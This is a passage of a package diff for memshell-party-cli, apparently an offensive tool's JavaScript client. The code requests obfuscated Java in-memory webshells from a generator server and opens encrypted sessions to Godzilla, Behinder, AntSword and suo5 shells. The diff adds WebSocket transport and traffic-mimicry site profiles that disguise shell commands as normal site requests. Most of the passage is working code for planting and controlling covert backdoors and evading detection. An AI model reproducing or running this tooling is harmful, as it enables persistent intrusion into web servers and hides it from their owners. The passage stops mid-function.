memshell-party-cli 0.6.0 → 0.8.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +482 -425
- package/README.md +241 -419
- package/dist/cli.js +1192 -325
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +128 -9
- package/dist/index.js +1293 -227
- package/dist/index.js.map +1 -1
- package/package.json +3 -1
- package/skills/memshell-party/SKILL.md +521 -475
package/dist/index.js
CHANGED
|
@@ -15,6 +15,7 @@ var MemPartyClient = class {
|
|
|
15
15
|
baseUrl;
|
|
16
16
|
fetchImpl;
|
|
17
17
|
timeoutMs;
|
|
18
|
+
generationApiVersion;
|
|
18
19
|
constructor(options) {
|
|
19
20
|
this.baseUrl = options.baseUrl.replace(/\/+$/, "");
|
|
20
21
|
this.fetchImpl = options.fetch ?? globalThis.fetch;
|
|
@@ -26,8 +27,14 @@ var MemPartyClient = class {
|
|
|
26
27
|
}
|
|
27
28
|
}
|
|
28
29
|
// ---------- config ----------
|
|
29
|
-
getServers() {
|
|
30
|
-
|
|
30
|
+
async getServers() {
|
|
31
|
+
const config = await this.getConfig();
|
|
32
|
+
return Object.fromEntries(
|
|
33
|
+
Object.entries(config).map(([server, tools]) => [
|
|
34
|
+
server,
|
|
35
|
+
[...new Set(Object.values(tools).flat())]
|
|
36
|
+
])
|
|
37
|
+
);
|
|
31
38
|
}
|
|
32
39
|
getConfig() {
|
|
33
40
|
return this.request("GET", "/api/config");
|
|
@@ -35,20 +42,68 @@ var MemPartyClient = class {
|
|
|
35
42
|
getPackerTree() {
|
|
36
43
|
return this.request("GET", "/api/config/packers/tree");
|
|
37
44
|
}
|
|
38
|
-
getPackers() {
|
|
39
|
-
|
|
45
|
+
async getPackers() {
|
|
46
|
+
try {
|
|
47
|
+
return await this.request("GET", "/api/config/packers");
|
|
48
|
+
} catch (err) {
|
|
49
|
+
if (!(err instanceof ApiError) || err.status !== 404) throw err;
|
|
50
|
+
return (await this.getPackerTree()).map((packer) => packer.name);
|
|
51
|
+
}
|
|
40
52
|
}
|
|
41
|
-
getCommandConfigs() {
|
|
53
|
+
async getCommandConfigs() {
|
|
54
|
+
const configs = await this.getShellToolConfigs();
|
|
55
|
+
const command = configs.find((config) => config.tool === "Command");
|
|
56
|
+
if (command) {
|
|
57
|
+
return {
|
|
58
|
+
encryptors: command.params.find((param) => param.name === "encryptor")?.options ?? [],
|
|
59
|
+
implementationClasses: command.params.find((param) => param.name === "implementationClass")?.options ?? []
|
|
60
|
+
};
|
|
61
|
+
}
|
|
42
62
|
return this.request("GET", "/api/config/command/configs");
|
|
43
63
|
}
|
|
64
|
+
async getShellToolConfigs() {
|
|
65
|
+
try {
|
|
66
|
+
return await this.request("GET", "/api/config/shelltool/configs");
|
|
67
|
+
} catch (err) {
|
|
68
|
+
if (err instanceof ApiError && err.status === 404) return [];
|
|
69
|
+
throw err;
|
|
70
|
+
}
|
|
71
|
+
}
|
|
72
|
+
getObfuscationOptions() {
|
|
73
|
+
return this.request("GET", "/api/config/obfuscation/options");
|
|
74
|
+
}
|
|
75
|
+
async getProbeResponseServers() {
|
|
76
|
+
try {
|
|
77
|
+
return await this.request("GET", "/api/config/probe/response/servers");
|
|
78
|
+
} catch (err) {
|
|
79
|
+
if (err instanceof ApiError && err.status === 404) return [];
|
|
80
|
+
throw err;
|
|
81
|
+
}
|
|
82
|
+
}
|
|
44
83
|
getVersion() {
|
|
45
84
|
return this.request("GET", "/api/version");
|
|
46
85
|
}
|
|
47
86
|
// ---------- generation ----------
|
|
48
|
-
generateMemShell(req) {
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
87
|
+
async generateMemShell(req) {
|
|
88
|
+
const apiVersion = await this.getGenerationApiVersion();
|
|
89
|
+
try {
|
|
90
|
+
return await this.request("POST", "/api/memshell/generate", {
|
|
91
|
+
json: apiVersion === "v2" ? toLegacyMemShellRequest(req) : req
|
|
92
|
+
});
|
|
93
|
+
} catch (err) {
|
|
94
|
+
if (apiVersion === "v3" && err instanceof ApiError && /Unsupported packer:/.test(err.message)) {
|
|
95
|
+
throw new ApiError(
|
|
96
|
+
`${err.message}. On v3, packer groups are only categories; choose a leaf from 'memparty config packers' (e.g. DefaultBase64, not Base64).`,
|
|
97
|
+
err.status,
|
|
98
|
+
err.url
|
|
99
|
+
);
|
|
100
|
+
}
|
|
101
|
+
throw err;
|
|
102
|
+
}
|
|
103
|
+
}
|
|
104
|
+
getGenerationApiVersion() {
|
|
105
|
+
this.generationApiVersion ??= this.getVersion().then((version2) => Number(version2.currentVersion.split(".")[0]) >= 3 ? "v3" : "v2").catch(() => "v3");
|
|
106
|
+
return this.generationApiVersion;
|
|
52
107
|
}
|
|
53
108
|
generateProbe(req) {
|
|
54
109
|
return this.request("POST", "/api/probe/generate", {
|
|
@@ -62,6 +117,16 @@ var MemPartyClient = class {
|
|
|
62
117
|
raw: true
|
|
63
118
|
});
|
|
64
119
|
}
|
|
120
|
+
decodeBytecode(classBase64) {
|
|
121
|
+
return this.request("POST", "/api/bytecode/decode", {
|
|
122
|
+
text: classBase64
|
|
123
|
+
});
|
|
124
|
+
}
|
|
125
|
+
transformBytecode(req) {
|
|
126
|
+
return this.request("POST", "/api/bytecode/transform", {
|
|
127
|
+
json: req
|
|
128
|
+
});
|
|
129
|
+
}
|
|
65
130
|
// ---------- transport ----------
|
|
66
131
|
async request(method, path, opts = {}) {
|
|
67
132
|
const url = `${this.baseUrl}${path}`;
|
|
@@ -115,6 +180,26 @@ var MemPartyClient = class {
|
|
|
115
180
|
return JSON.parse(rawText);
|
|
116
181
|
}
|
|
117
182
|
};
|
|
183
|
+
function toLegacyMemShellRequest(req) {
|
|
184
|
+
const { pass, key, paramName, template, ...common } = req.shellToolConfig;
|
|
185
|
+
const { obfuscation: _obfuscation, obfuscationScope: _obfuscationScope, ...shellConfig } = req.shellConfig;
|
|
186
|
+
return {
|
|
187
|
+
...req,
|
|
188
|
+
shellConfig: {
|
|
189
|
+
...shellConfig,
|
|
190
|
+
probe: shellConfig.probe ? true : void 0
|
|
191
|
+
},
|
|
192
|
+
shellToolConfig: {
|
|
193
|
+
...common,
|
|
194
|
+
godzillaPass: req.shellConfig.shellTool.startsWith("Godzilla") ? pass : void 0,
|
|
195
|
+
godzillaKey: key,
|
|
196
|
+
commandParamName: paramName,
|
|
197
|
+
commandTemplate: template,
|
|
198
|
+
behinderPass: req.shellConfig.shellTool === "Behinder" ? pass : void 0,
|
|
199
|
+
antSwordPass: req.shellConfig.shellTool === "AntSword" ? pass : void 0
|
|
200
|
+
}
|
|
201
|
+
};
|
|
202
|
+
}
|
|
118
203
|
|
|
119
204
|
// src/core/request-builder.ts
|
|
120
205
|
import { randomInt } from "crypto";
|
|
@@ -126,7 +211,8 @@ var JDK_VERSIONS = {
|
|
|
126
211
|
java9: 53,
|
|
127
212
|
java11: 55,
|
|
128
213
|
java17: 61,
|
|
129
|
-
java21: 65
|
|
214
|
+
java21: 65,
|
|
215
|
+
java25: 69
|
|
130
216
|
};
|
|
131
217
|
function resolveJreVersion(input) {
|
|
132
218
|
if (input === void 0 || input === "") return void 0;
|
|
@@ -173,16 +259,16 @@ function buildMemShellRequest(opts) {
|
|
|
173
259
|
byPassJavaModule: opts.byPassJavaModule,
|
|
174
260
|
shrink: opts.shrink,
|
|
175
261
|
lambdaSuffix: opts.lambdaSuffix,
|
|
176
|
-
probe: opts.probe
|
|
262
|
+
probe: opts.probe ? { probeMethod: "ResponseBody", probeContent: "Bytecode" } : void 0,
|
|
263
|
+
obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0,
|
|
264
|
+
obfuscationScope: opts.obfuscationScope
|
|
177
265
|
},
|
|
178
266
|
shellToolConfig: {
|
|
179
267
|
shellClassName: opts.shellClassName,
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
behinderPass: opts.behinderPass,
|
|
185
|
-
antSwordPass: opts.antSwordPass,
|
|
268
|
+
pass: opts.godzillaPass ?? opts.behinderPass ?? opts.antSwordPass,
|
|
269
|
+
key: opts.godzillaKey,
|
|
270
|
+
paramName: opts.commandParamName,
|
|
271
|
+
template: opts.commandTemplate,
|
|
186
272
|
headerName: opts.headerName,
|
|
187
273
|
headerValue: opts.headerValue,
|
|
188
274
|
shellClassBase64: opts.shellClassBase64,
|
|
@@ -208,7 +294,8 @@ function buildProbeRequest(opts) {
|
|
|
208
294
|
byPassJavaModule: opts.byPassJavaModule,
|
|
209
295
|
shrink: opts.shrink,
|
|
210
296
|
staticInitialize: opts.staticInitialize,
|
|
211
|
-
lambdaSuffix: opts.lambdaSuffix
|
|
297
|
+
lambdaSuffix: opts.lambdaSuffix,
|
|
298
|
+
obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0
|
|
212
299
|
},
|
|
213
300
|
probeContentConfig: {
|
|
214
301
|
host: opts.host,
|
|
@@ -216,7 +303,8 @@ function buildProbeRequest(opts) {
|
|
|
216
303
|
sleepServer: opts.sleepServer,
|
|
217
304
|
server: opts.server,
|
|
218
305
|
reqParamName: opts.reqParamName,
|
|
219
|
-
commandTemplate: opts.commandTemplate
|
|
306
|
+
commandTemplate: opts.commandTemplate,
|
|
307
|
+
respHeaderName: opts.respHeaderName
|
|
220
308
|
},
|
|
221
309
|
packer: opts.packer
|
|
222
310
|
};
|
|
@@ -256,6 +344,21 @@ function emitPayload(payload, opts, sinks = {}) {
|
|
|
256
344
|
`);
|
|
257
345
|
return { destination: "stdout", size: payload.length, decoded: false };
|
|
258
346
|
}
|
|
347
|
+
function hasMultiplePackResults(r) {
|
|
348
|
+
return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
|
|
349
|
+
}
|
|
350
|
+
function emitSinglePackResult(r, opts, sinks = {}) {
|
|
351
|
+
if (hasMultiplePackResults(r)) {
|
|
352
|
+
const n = Object.keys(r.allPackResults).length;
|
|
353
|
+
throw new Error(
|
|
354
|
+
`the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
|
|
355
|
+
);
|
|
356
|
+
}
|
|
357
|
+
if (r.packResult === void 0) {
|
|
358
|
+
throw new Error("Server returned no packResult.");
|
|
359
|
+
}
|
|
360
|
+
return emitPayload(r.packResult, opts, sinks);
|
|
361
|
+
}
|
|
259
362
|
|
|
260
363
|
// src/core/config.ts
|
|
261
364
|
import { readFileSync } from "fs";
|
|
@@ -353,7 +456,7 @@ function formatOp(e) {
|
|
|
353
456
|
// src/mcp/server.ts
|
|
354
457
|
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
|
|
355
458
|
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
|
|
356
|
-
import { writeFileSync as
|
|
459
|
+
import { writeFileSync as writeFileSync4 } from "fs";
|
|
357
460
|
import { z } from "zod";
|
|
358
461
|
|
|
359
462
|
// src/connect/assets.ts
|
|
@@ -644,6 +747,20 @@ function postRaw(url, body, options = {}) {
|
|
|
644
747
|
return new Promise((resolve2, reject) => {
|
|
645
748
|
const started = Date.now();
|
|
646
749
|
const transport = isHttps ? https : http;
|
|
750
|
+
const onResponse = (res) => {
|
|
751
|
+
const chunks = [];
|
|
752
|
+
res.on("data", (chunk) => chunks.push(chunk));
|
|
753
|
+
res.on(
|
|
754
|
+
"end",
|
|
755
|
+
() => resolve2({
|
|
756
|
+
status: res.statusCode ?? 0,
|
|
757
|
+
headers: res.headers,
|
|
758
|
+
body: Buffer.concat(chunks),
|
|
759
|
+
durationMs: Date.now() - started
|
|
760
|
+
})
|
|
761
|
+
);
|
|
762
|
+
res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
|
|
763
|
+
};
|
|
647
764
|
const req = transport.request(
|
|
648
765
|
{
|
|
649
766
|
method: "POST",
|
|
@@ -661,21 +778,9 @@ function postRaw(url, body, options = {}) {
|
|
|
661
778
|
timeout: timeoutMs,
|
|
662
779
|
...isHttps && insecure ? { rejectUnauthorized: false } : {}
|
|
663
780
|
},
|
|
664
|
-
|
|
665
|
-
const chunks = [];
|
|
666
|
-
res.on("data", (chunk) => chunks.push(chunk));
|
|
667
|
-
res.on(
|
|
668
|
-
"end",
|
|
669
|
-
() => resolve2({
|
|
670
|
-
status: res.statusCode ?? 0,
|
|
671
|
-
headers: res.headers,
|
|
672
|
-
body: Buffer.concat(chunks),
|
|
673
|
-
durationMs: Date.now() - started
|
|
674
|
-
})
|
|
675
|
-
);
|
|
676
|
-
res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
|
|
677
|
-
}
|
|
781
|
+
onResponse
|
|
678
782
|
);
|
|
783
|
+
req.on("upgrade", onResponse);
|
|
679
784
|
req.on("timeout", () => req.destroy(new Error(`request timed out after ${timeoutMs} ms`)));
|
|
680
785
|
req.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
|
|
681
786
|
req.write(body);
|
|
@@ -1101,6 +1206,57 @@ async function uploadBehinder(url, pass, remotePath, data, options = {}) {
|
|
|
1101
1206
|
|
|
1102
1207
|
// src/connect/godzilla.ts
|
|
1103
1208
|
import iconv from "iconv-lite";
|
|
1209
|
+
|
|
1210
|
+
// src/connect/websocket.ts
|
|
1211
|
+
import WebSocket from "ws";
|
|
1212
|
+
function isWebSocketUrl(url) {
|
|
1213
|
+
return /^wss?:\/\//i.test(url);
|
|
1214
|
+
}
|
|
1215
|
+
function requestWebSocket(url, body, options = {}) {
|
|
1216
|
+
let target;
|
|
1217
|
+
try {
|
|
1218
|
+
target = new URL(url);
|
|
1219
|
+
} catch {
|
|
1220
|
+
return Promise.reject(new Error(`invalid WebSocket URL: ${url}`));
|
|
1221
|
+
}
|
|
1222
|
+
if (target.protocol !== "ws:" && target.protocol !== "wss:") {
|
|
1223
|
+
return Promise.reject(new Error(`unsupported WebSocket protocol: ${target.protocol}`));
|
|
1224
|
+
}
|
|
1225
|
+
const timeoutMs = options.timeoutMs ?? 3e4;
|
|
1226
|
+
return new Promise((resolve2, reject) => {
|
|
1227
|
+
const socket = new WebSocket(target, {
|
|
1228
|
+
headers: buildHeaders({}, options),
|
|
1229
|
+
handshakeTimeout: timeoutMs,
|
|
1230
|
+
rejectUnauthorized: !options.insecure,
|
|
1231
|
+
perMessageDeflate: false,
|
|
1232
|
+
maxPayload: 256 * 1024 * 1024
|
|
1233
|
+
});
|
|
1234
|
+
let timer;
|
|
1235
|
+
let settled = false;
|
|
1236
|
+
const finish = (error, result) => {
|
|
1237
|
+
if (settled) return;
|
|
1238
|
+
settled = true;
|
|
1239
|
+
if (timer) clearTimeout(timer);
|
|
1240
|
+
timer = void 0;
|
|
1241
|
+
socket.removeAllListeners();
|
|
1242
|
+
if (error) reject(error);
|
|
1243
|
+
else resolve2(result);
|
|
1244
|
+
socket.close();
|
|
1245
|
+
};
|
|
1246
|
+
timer = setTimeout(() => finish(new Error(`WebSocket request timed out after ${timeoutMs}ms`)), timeoutMs);
|
|
1247
|
+
socket.once("open", () => socket.send(body));
|
|
1248
|
+
socket.on("message", (data, isBinary) => {
|
|
1249
|
+
finish(isBinary ? void 0 : new Error("expected a binary Godzilla WebSocket response"), data);
|
|
1250
|
+
});
|
|
1251
|
+
socket.once("close", () => finish(new Error("WebSocket closed without a response")));
|
|
1252
|
+
socket.once("error", (error) => finish(error));
|
|
1253
|
+
socket.once("unexpected-response", (_request, response) => {
|
|
1254
|
+
finish(new Error(`WebSocket handshake failed: HTTP ${response.statusCode ?? 0}`));
|
|
1255
|
+
});
|
|
1256
|
+
});
|
|
1257
|
+
}
|
|
1258
|
+
|
|
1259
|
+
// src/connect/godzilla.ts
|
|
1104
1260
|
function serializeParams(params) {
|
|
1105
1261
|
const parts = [];
|
|
1106
1262
|
for (const [key, value] of params) {
|
|
@@ -1147,7 +1303,10 @@ async function openGodzillaSession(url, pass, key, options = {}) {
|
|
|
1147
1303
|
const left = wrapper.slice(0, 16);
|
|
1148
1304
|
const right = wrapper.slice(16);
|
|
1149
1305
|
const baseHeaders = buildHeaders(
|
|
1150
|
-
{
|
|
1306
|
+
{
|
|
1307
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
1308
|
+
...options.upgradeProtocol ? { Connection: "Upgrade", Upgrade: options.upgradeProtocol } : {}
|
|
1309
|
+
},
|
|
1151
1310
|
options
|
|
1152
1311
|
);
|
|
1153
1312
|
const post = (data, cookie2) => postRaw(url, encodeBody(pass, xc, data), {
|
|
@@ -1155,14 +1314,27 @@ async function openGodzillaSession(url, pass, key, options = {}) {
|
|
|
1155
1314
|
timeoutMs: options.timeoutMs,
|
|
1156
1315
|
insecure: options.insecure
|
|
1157
1316
|
});
|
|
1158
|
-
|
|
1159
|
-
|
|
1160
|
-
|
|
1317
|
+
let cookie;
|
|
1318
|
+
if (isWebSocketUrl(url)) {
|
|
1319
|
+
await requestWebSocket(url, aesEcbEncrypt(GODZILLA_PAYLOAD_BYTES, xc), options);
|
|
1320
|
+
} else {
|
|
1321
|
+
const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
|
|
1322
|
+
const cookies = extractCookies(initResponse.headers);
|
|
1323
|
+
cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
|
|
1324
|
+
}
|
|
1161
1325
|
return {
|
|
1162
1326
|
async callMethod(methodName, extraParams = []) {
|
|
1163
1327
|
const callData = gzip(
|
|
1164
1328
|
serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams])
|
|
1165
1329
|
);
|
|
1330
|
+
if (isWebSocketUrl(url)) {
|
|
1331
|
+
const response = await requestWebSocket(url, aesEcbEncrypt(callData, xc), options);
|
|
1332
|
+
try {
|
|
1333
|
+
return gunzipLenient(aesEcbDecrypt(response, xc));
|
|
1334
|
+
} catch {
|
|
1335
|
+
throw new Error("WebSocket response failed to decrypt \u2014 wrong key or protocol?");
|
|
1336
|
+
}
|
|
1337
|
+
}
|
|
1166
1338
|
const res = await post(callData, cookie);
|
|
1167
1339
|
const text = res.body.toString("latin1");
|
|
1168
1340
|
const leftIdx = text.indexOf(left);
|
|
@@ -1624,9 +1796,568 @@ async function testSuo5(url, options = {}) {
|
|
|
1624
1796
|
};
|
|
1625
1797
|
}
|
|
1626
1798
|
|
|
1799
|
+
// src/connect/mimic.ts
|
|
1800
|
+
import { randomInt as randomInt3 } from "crypto";
|
|
1801
|
+
|
|
1802
|
+
// src/core/site-profile.ts
|
|
1803
|
+
import { existsSync as existsSync2, mkdirSync as mkdirSync2, readdirSync, readFileSync as readFileSync3, writeFileSync as writeFileSync2 } from "fs";
|
|
1804
|
+
import { homedir as homedir3 } from "os";
|
|
1805
|
+
import { join as join3 } from "path";
|
|
1806
|
+
function inferBodyTemplateContentType(bodyTemplate) {
|
|
1807
|
+
const t = bodyTemplate.trimStart();
|
|
1808
|
+
if (t.startsWith("--")) return "multipart/form-data";
|
|
1809
|
+
if (t.startsWith("{") || t.startsWith("[")) return "application/json";
|
|
1810
|
+
if (t.startsWith("<")) return "text/xml";
|
|
1811
|
+
return null;
|
|
1812
|
+
}
|
|
1813
|
+
function profileTemplates(profile) {
|
|
1814
|
+
if (Array.isArray(profile.templates) && profile.templates.length > 0) {
|
|
1815
|
+
return profile.templates;
|
|
1816
|
+
}
|
|
1817
|
+
if (profile.template) {
|
|
1818
|
+
return [
|
|
1819
|
+
{
|
|
1820
|
+
title: profile.title ?? "",
|
|
1821
|
+
template: profile.template,
|
|
1822
|
+
contentType: profile.contentType ?? "text/html; charset=utf-8"
|
|
1823
|
+
}
|
|
1824
|
+
];
|
|
1825
|
+
}
|
|
1826
|
+
return [];
|
|
1827
|
+
}
|
|
1828
|
+
function profileRequests(profile) {
|
|
1829
|
+
if (!profile.request) return [];
|
|
1830
|
+
return Array.isArray(profile.request) ? profile.request : [profile.request];
|
|
1831
|
+
}
|
|
1832
|
+
function pickRequestShape(requests) {
|
|
1833
|
+
if (requests.length === 0) return void 0;
|
|
1834
|
+
const total = requests.reduce((s, r) => s + (r.weight ?? 1), 0);
|
|
1835
|
+
let roll = Math.random() * total;
|
|
1836
|
+
for (const r of requests) {
|
|
1837
|
+
roll -= r.weight ?? 1;
|
|
1838
|
+
if (roll <= 0) return r;
|
|
1839
|
+
}
|
|
1840
|
+
return requests[requests.length - 1];
|
|
1841
|
+
}
|
|
1842
|
+
var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
|
|
1843
|
+
var PAYLOAD_PLACEHOLDER = "{{payload}}";
|
|
1844
|
+
function profilesDir() {
|
|
1845
|
+
const override = process.env.MEMPARTY_PROFILES;
|
|
1846
|
+
return override ? override : join3(homedir3(), ".memparty", "profiles");
|
|
1847
|
+
}
|
|
1848
|
+
function profilePath(name) {
|
|
1849
|
+
return join3(profilesDir(), `${name}.json`);
|
|
1850
|
+
}
|
|
1851
|
+
function validateProfile(profile) {
|
|
1852
|
+
if (!NAME_RE.test(profile.name)) {
|
|
1853
|
+
throw new Error(
|
|
1854
|
+
`invalid profile name ${JSON.stringify(profile.name)} \u2014 use letters, digits, '.', '_', '-'`
|
|
1855
|
+
);
|
|
1856
|
+
}
|
|
1857
|
+
if (!profile.site || !/^https?:\/\//.test(profile.site)) {
|
|
1858
|
+
throw new Error(`profile.site must be an http(s) origin (got ${JSON.stringify(profile.site)})`);
|
|
1859
|
+
}
|
|
1860
|
+
const templates = profileTemplates(profile);
|
|
1861
|
+
if (templates.length === 0) {
|
|
1862
|
+
throw new Error("profile needs at least one template (templates[] or legacy template)");
|
|
1863
|
+
}
|
|
1864
|
+
templates.forEach((t, i) => {
|
|
1865
|
+
if (!t.template || !t.template.includes(PAYLOAD_PLACEHOLDER) && !/<!doctype\s+html|<html|<head/i.test(t.template)) {
|
|
1866
|
+
throw new Error(
|
|
1867
|
+
`templates[${i}].template must be a full HTML page, or carry the ${PAYLOAD_PLACEHOLDER} placeholder (any text format)`
|
|
1868
|
+
);
|
|
1869
|
+
}
|
|
1870
|
+
if (!t.contentType) {
|
|
1871
|
+
throw new Error(`templates[${i}].contentType is required (e.g. "text/html; charset=utf-8")`);
|
|
1872
|
+
}
|
|
1873
|
+
});
|
|
1874
|
+
if (!Array.isArray(profile.paths)) {
|
|
1875
|
+
throw new Error("profile.paths must be an array (may be empty)");
|
|
1876
|
+
}
|
|
1877
|
+
for (const [ri, req] of profileRequests(profile).entries()) {
|
|
1878
|
+
if (!req.secretField || !/^[A-Za-z0-9_.-]+$/.test(req.secretField)) {
|
|
1879
|
+
throw new Error(`request[${ri}].secretField must be a form-field name`);
|
|
1880
|
+
}
|
|
1881
|
+
if (req.secretIn !== void 0 && !["body", "query", "header"].includes(req.secretIn)) {
|
|
1882
|
+
throw new Error(`request[${ri}].secretIn must be body | query | header`);
|
|
1883
|
+
}
|
|
1884
|
+
if (req.bodyStyle !== void 0 && !["form", "json"].includes(req.bodyStyle)) {
|
|
1885
|
+
throw new Error(`request[${ri}].bodyStyle must be form | json`);
|
|
1886
|
+
}
|
|
1887
|
+
if (req.bodyTemplate !== void 0) {
|
|
1888
|
+
if (!req.bodyTemplate.includes(PAYLOAD_PLACEHOLDER)) {
|
|
1889
|
+
throw new Error(`request[${ri}].bodyTemplate must carry the ${PAYLOAD_PLACEHOLDER} placeholder`);
|
|
1890
|
+
}
|
|
1891
|
+
if (req.secretIn !== void 0 && req.secretIn !== "body") {
|
|
1892
|
+
throw new Error(`request[${ri}].bodyTemplate only applies to secretIn=body`);
|
|
1893
|
+
}
|
|
1894
|
+
}
|
|
1895
|
+
if (req.headers !== void 0) {
|
|
1896
|
+
for (const [k, v] of Object.entries(req.headers)) {
|
|
1897
|
+
if (typeof v !== "string" || !k) {
|
|
1898
|
+
throw new Error(`request[${ri}].headers must be a string map`);
|
|
1899
|
+
}
|
|
1900
|
+
}
|
|
1901
|
+
}
|
|
1902
|
+
for (const [i, f] of (req.fields ?? []).entries()) {
|
|
1903
|
+
if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {
|
|
1904
|
+
throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);
|
|
1905
|
+
}
|
|
1906
|
+
if (f.name === req.secretField) {
|
|
1907
|
+
throw new Error(`request[${ri}].fields[${i}] duplicates secretField`);
|
|
1908
|
+
}
|
|
1909
|
+
}
|
|
1910
|
+
}
|
|
1911
|
+
if (profile.cipher !== void 0) {
|
|
1912
|
+
const c = profile.cipher;
|
|
1913
|
+
if (c.algorithm !== void 0 && !["aes-ecb", "aes-cbc", "xor"].includes(c.algorithm)) {
|
|
1914
|
+
throw new Error(`cipher.algorithm must be aes-ecb | aes-cbc | xor (got ${JSON.stringify(c.algorithm)})`);
|
|
1915
|
+
}
|
|
1916
|
+
if (c.encoding !== void 0 && !["base64", "base64url", "hex"].includes(c.encoding)) {
|
|
1917
|
+
throw new Error(`cipher.encoding must be base64 | base64url | hex (got ${JSON.stringify(c.encoding)})`);
|
|
1918
|
+
}
|
|
1919
|
+
if (c.marker !== void 0 && !["js-var", "html-comment"].includes(c.marker)) {
|
|
1920
|
+
throw new Error(`cipher.marker must be js-var | html-comment (got ${JSON.stringify(c.marker)})`);
|
|
1921
|
+
}
|
|
1922
|
+
if (c.padTail !== void 0 && typeof c.padTail !== "boolean") {
|
|
1923
|
+
throw new Error("cipher.padTail must be a boolean");
|
|
1924
|
+
}
|
|
1925
|
+
}
|
|
1926
|
+
}
|
|
1927
|
+
function loadProfile(name) {
|
|
1928
|
+
const path = profilePath(name);
|
|
1929
|
+
if (!existsSync2(path)) {
|
|
1930
|
+
throw new Error(
|
|
1931
|
+
`unknown profile ${JSON.stringify(name)} \u2014 scaffold one with 'memparty profile init ${name} --site <origin>' and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`
|
|
1932
|
+
);
|
|
1933
|
+
}
|
|
1934
|
+
const profile = JSON.parse(readFileSync3(path, "utf8"));
|
|
1935
|
+
validateProfile(profile);
|
|
1936
|
+
return profile;
|
|
1937
|
+
}
|
|
1938
|
+
function listProfiles() {
|
|
1939
|
+
const dir = profilesDir();
|
|
1940
|
+
if (!existsSync2(dir)) return [];
|
|
1941
|
+
return readdirSync(dir).filter((f) => f.endsWith(".json")).map((f) => f.slice(0, -".json".length)).sort();
|
|
1942
|
+
}
|
|
1943
|
+
|
|
1944
|
+
// src/connect/mimic-codecs.ts
|
|
1945
|
+
import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
|
|
1946
|
+
var LEGACY_CIPHER = {
|
|
1947
|
+
algorithm: "aes-ecb",
|
|
1948
|
+
encoding: "base64",
|
|
1949
|
+
padTail: false,
|
|
1950
|
+
marker: "js-var"
|
|
1951
|
+
};
|
|
1952
|
+
function resolveCipher(partial) {
|
|
1953
|
+
return { ...LEGACY_CIPHER, ...partial ?? {} };
|
|
1954
|
+
}
|
|
1955
|
+
function xorCrypt(data, key) {
|
|
1956
|
+
const out = Buffer.alloc(data.length);
|
|
1957
|
+
for (let i = 0; i < data.length; i++) out[i] = data[i] ^ key[i % key.length];
|
|
1958
|
+
return out;
|
|
1959
|
+
}
|
|
1960
|
+
function crypt(data, aesKey, enc, algorithm) {
|
|
1961
|
+
switch (algorithm) {
|
|
1962
|
+
case "aes-ecb":
|
|
1963
|
+
return enc ? aesEcbEncrypt(data, aesKey) : aesEcbDecrypt(data, aesKey);
|
|
1964
|
+
case "aes-cbc": {
|
|
1965
|
+
const key = Buffer.from(aesKey, "utf8");
|
|
1966
|
+
if (enc) {
|
|
1967
|
+
const iv = randomBytes3(16);
|
|
1968
|
+
const c = createCipheriv2("aes-128-cbc", key, iv);
|
|
1969
|
+
return Buffer.concat([iv, c.update(data), c.final()]);
|
|
1970
|
+
}
|
|
1971
|
+
const d = createDecipheriv2("aes-128-cbc", key, data.subarray(0, 16));
|
|
1972
|
+
return Buffer.concat([d.update(data.subarray(16)), d.final()]);
|
|
1973
|
+
}
|
|
1974
|
+
case "xor":
|
|
1975
|
+
return xorCrypt(data, Buffer.from(aesKey, "utf8"));
|
|
1976
|
+
}
|
|
1977
|
+
}
|
|
1978
|
+
function encodeBytes(data, encoding) {
|
|
1979
|
+
switch (encoding) {
|
|
1980
|
+
case "base64":
|
|
1981
|
+
return data.toString("base64");
|
|
1982
|
+
case "base64url":
|
|
1983
|
+
return base64UrlEncode(data);
|
|
1984
|
+
case "hex":
|
|
1985
|
+
return data.toString("hex");
|
|
1986
|
+
}
|
|
1987
|
+
}
|
|
1988
|
+
function decodeString(text, encoding) {
|
|
1989
|
+
switch (encoding) {
|
|
1990
|
+
case "base64":
|
|
1991
|
+
return Buffer.from(text, "base64");
|
|
1992
|
+
case "base64url":
|
|
1993
|
+
return base64UrlDecode(text);
|
|
1994
|
+
case "hex":
|
|
1995
|
+
return Buffer.from(text, "hex");
|
|
1996
|
+
}
|
|
1997
|
+
}
|
|
1998
|
+
function padTailLength(aesKey) {
|
|
1999
|
+
return Number.parseInt(md5Hex(aesKey).slice(0, 2), 16) % 16;
|
|
2000
|
+
}
|
|
2001
|
+
var PAD_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
|
2002
|
+
function appendPad(text, aesKey) {
|
|
2003
|
+
const n = padTailLength(aesKey);
|
|
2004
|
+
if (n === 0) return text;
|
|
2005
|
+
const raw = randomBytes3(n);
|
|
2006
|
+
let tail = "";
|
|
2007
|
+
for (let i = 0; i < n; i++) tail += PAD_ALPHABET[raw[i] % PAD_ALPHABET.length];
|
|
2008
|
+
